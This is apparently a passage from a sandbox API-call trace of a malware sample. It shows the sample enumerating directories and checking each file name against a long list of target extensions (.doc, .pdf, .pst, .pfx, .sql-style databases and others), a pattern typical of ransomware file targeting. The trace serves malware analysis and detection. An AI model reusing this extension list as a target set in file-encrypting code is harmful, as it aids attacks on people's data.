	[0062.348] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".cr2") returned 4
	[0062.348] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".crt") returned 4
	[0062.348] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".crw") returned 4
	[0062.348] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".cs") returned 3
	[0062.348] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.348] lstrlenW (lpString=".css") returned 4
	[0062.348] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".csv") returned 4
	[0062.348] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".cub") returned 4
	[0062.348] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dae") returned 4
	[0062.348] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dat") returned 4
	[0062.348] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".db") returned 3
	[0062.348] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.348] lstrlenW (lpString=".dbf") returned 4
	[0062.348] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dbx") returned 4
	[0062.348] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dc3") returned 4
	[0062.348] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dcm") returned 4
	[0062.348] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dcr") returned 4
	[0062.348] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".der") returned 4
	[0062.348] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".dib") returned 4
	[0062.349] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dic") returned 4
	[0062.349] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dif") returned 4
	[0062.349] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".divx") returned 5
	[0062.349] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".djvu") returned 5
	[0062.349] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".dng") returned 4
	[0062.349] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".doc") returned 4
	[0062.349] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".docm") returned 5
	[0062.349] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".docx") returned 5
	[0062.349] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".dot") returned 4
	[0062.349] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dotm") returned 5
	[0062.349] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".dotx") returned 5
	[0062.349] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.349] lstrlenW (lpString=".dpx") returned 4
	[0062.349] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dqy") returned 4
	[0062.349] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dsn") returned 4
	[0062.349] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dt") returned 3
	[0062.349] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.349] lstrlenW (lpString=".dtd") returned 4
	[0062.349] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dwg") returned 4
	[0062.349] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dwt") returned 4
	[0062.349] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.349] lstrlenW (lpString=".dx") returned 3
	[0062.350] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.350] lstrlenW (lpString=".dxf") returned 4
	[0062.350] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".edml") returned 5
	[0062.350] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.350] lstrlenW (lpString=".efd") returned 4
	[0062.350] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".elf") returned 4
	[0062.350] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".emf") returned 4
	[0062.350] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".emz") returned 4
	[0062.350] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".epf") returned 4
	[0062.350] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".eps") returned 4
	[0062.350] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".epsf") returned 5
	[0062.350] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.350] lstrlenW (lpString=".epsp") returned 5
	[0062.350] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.350] lstrlenW (lpString=".erf") returned 4
	[0062.350] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".exr") returned 4
	[0062.350] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".f4v") returned 4
	[0062.350] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".fido") returned 5
	[0062.350] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.350] lstrlenW (lpString=".flm") returned 4
	[0062.350] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".flv") returned 4
	[0062.350] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".frm") returned 4
	[0062.350] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.350] lstrlenW (lpString=".fxg") returned 4
	[0062.350] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".geo") returned 4
	[0062.351] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".gif") returned 4
	[0062.351] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".grs") returned 4
	[0062.351] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".gz") returned 3
	[0062.351] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.351] lstrlenW (lpString=".h") returned 2
	[0062.351] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.351] lstrlenW (lpString=".hdr") returned 4
	[0062.351] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".hpp") returned 4
	[0062.351] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".hta") returned 4
	[0062.351] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".htc") returned 4
	[0062.351] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".htm") returned 4
	[0062.351] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".html") returned 5
	[0062.351] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.351] lstrlenW (lpString=".icb") returned 4
	[0062.351] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".ics") returned 4
	[0062.351] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".iff") returned 4
	[0062.351] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".inc") returned 4
	[0062.351] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".indd") returned 5
	[0062.351] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.351] lstrlenW (lpString=".ini") returned 4
	[0062.351] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.351] lstrlenW (lpString=".iqy") returned 4
	[0062.352] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".j2c") returned 4
	[0062.352] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".j2k") returned 4
	[0062.352] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".java") returned 5
	[0062.352] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.352] lstrlenW (lpString=".jp2") returned 4
	[0062.352] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpc") returned 4
	[0062.352] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpe") returned 4
	[0062.352] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpeg") returned 5
	[0062.352] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpf") returned 4
	[0062.352] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpg") returned 4
	[0062.352] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".jpx") returned 4
	[0062.352] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".js") returned 3
	[0062.352] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.352] lstrlenW (lpString=".jsf") returned 4
	[0062.352] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".json") returned 5
	[0062.352] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.352] lstrlenW (lpString=".jsp") returned 4
	[0062.352] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".kdc") returned 4
	[0062.352] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".kmz") returned 4
	[0062.352] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".kwm") returned 4
	[0062.352] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.352] lstrlenW (lpString=".lasso") returned 6
	[0062.352] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.352] lstrlenW (lpString=".lbi") returned 4
	[0062.353] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".lgf") returned 4
	[0062.353] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".lgp") returned 4
	[0062.353] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".log") returned 4
	[0062.353] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".m1v") returned 4
	[0062.353] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".m4a") returned 4
	[0062.353] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".m4v") returned 4
	[0062.353] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".max") returned 4
	[0062.353] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".md") returned 3
	[0062.353] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.353] lstrlenW (lpString=".mda") returned 4
	[0062.353] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mdb") returned 4
	[0062.353] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mde") returned 4
	[0062.353] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mdf") returned 4
	[0062.353] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mdw") returned 4
	[0062.353] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mef") returned 4
	[0062.353] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mft") returned 4
	[0062.353] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mfw") returned 4
	[0062.353] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mht") returned 4
	[0062.353] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.353] lstrlenW (lpString=".mhtml") returned 6
	[0062.353] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.354] lstrlenW (lpString=".mka") returned 4
	[0062.354] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mkidx") returned 6
	[0062.354] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.354] lstrlenW (lpString=".mkv") returned 4
	[0062.354] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mos") returned 4
	[0062.354] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mov") returned 4
	[0062.354] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mp3") returned 4
	[0062.354] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mp4") returned 4
	[0062.354] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mpeg") returned 5
	[0062.354] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.354] lstrlenW (lpString=".mpg") returned 4
	[0062.354] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mpv") returned 4
	[0062.354] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mrw") returned 4
	[0062.354] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".msg") returned 4
	[0062.354] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".mxl") returned 4
	[0062.354] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".myd") returned 4
	[0062.354] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".myi") returned 4
	[0062.354] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".nef") returned 4
	[0062.354] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".nrw") returned 4
	[0062.354] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".obj") returned 4
	[0062.354] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.354] lstrlenW (lpString=".odb") returned 4
	[0062.355] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".odc") returned 4
	[0062.355] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".odm") returned 4
	[0062.355] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".odp") returned 4
	[0062.355] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".ods") returned 4
	[0062.355] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".oft") returned 4
	[0062.355] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".one") returned 4
	[0062.355] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".onepkg") returned 7
	[0062.355] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.355] lstrlenW (lpString=".onetoc2") returned 8
	[0062.355] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.355] lstrlenW (lpString=".opt") returned 4
	[0062.355] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".oqy") returned 4
	[0062.355] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".orf") returned 4
	[0062.355] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".p12") returned 4
	[0062.355] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".p7b") returned 4
	[0062.355] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".p7c") returned 4
	[0062.355] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".pam") returned 4
	[0062.355] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".pbm") returned 4
	[0062.355] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".pct") returned 4
	[0062.355] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".pcx") returned 4
	[0062.355] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.355] lstrlenW (lpString=".pdd") returned 4
	[0062.356] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pdf") returned 4
	[0062.356] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pdp") returned 4
	[0062.356] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pef") returned 4
	[0062.356] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pem") returned 4
	[0062.356] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pff") returned 4
	[0062.356] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pfm") returned 4
	[0062.356] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pfx") returned 4
	[0062.356] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pgm") returned 4
	[0062.356] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".php") returned 4
	[0062.356] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".php3") returned 5
	[0062.356] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.356] lstrlenW (lpString=".php4") returned 5
	[0062.356] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.356] lstrlenW (lpString=".php5") returned 5
	[0062.356] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.356] lstrlenW (lpString=".phtml") returned 6
	[0062.356] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.356] lstrlenW (lpString=".pict") returned 5
	[0062.356] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.356] lstrlenW (lpString=".pl") returned 3
	[0062.356] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.356] lstrlenW (lpString=".pls") returned 4
	[0062.356] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.356] lstrlenW (lpString=".pm") returned 3
	[0062.356] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.356] lstrlenW (lpString=".png") returned 4
	[0062.357] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pnm") returned 4
	[0062.357] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pot") returned 4
	[0062.357] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".potm") returned 5
	[0062.357] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".potx") returned 5
	[0062.357] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".ppa") returned 4
	[0062.357] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".ppam") returned 5
	[0062.357] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".ppm") returned 4
	[0062.357] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pps") returned 4
	[0062.357] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".ppsm") returned 5
	[0062.357] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".ppt") returned 4
	[0062.357] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pptm") returned 5
	[0062.357] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".pptx") returned 5
	[0062.357] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.357] lstrlenW (lpString=".prn") returned 4
	[0062.357] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".ps") returned 3
	[0062.357] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.357] lstrlenW (lpString=".psb") returned 4
	[0062.357] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".psd") returned 4
	[0062.357] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pst") returned 4
	[0062.357] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".ptx") returned 4
	[0062.357] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.357] lstrlenW (lpString=".pub") returned 4
	[0062.358] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.358] lstrlenW (lpString=".pwm") returned 4
	[0062.358] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.358] lstrlenW (lpString=".pxr") returned 4
	[0062.358] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.358] lstrlenW (lpString=".py") returned 3
	[0062.358] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.358] lstrlenW (lpString=".qt") returned 3
	[0062.358] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.358] lstrlenW (lpString=".r3d") returned 4
	[0062.358] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.358] lstrlenW (lpString=".raf") returned 4
	[0062.358] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.358] lstrlenW (lpString=".rar") returned 4
	[0062.358] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.358] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.358] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.358] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.358] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0062.358] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.358] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0062.359] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0062.359] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
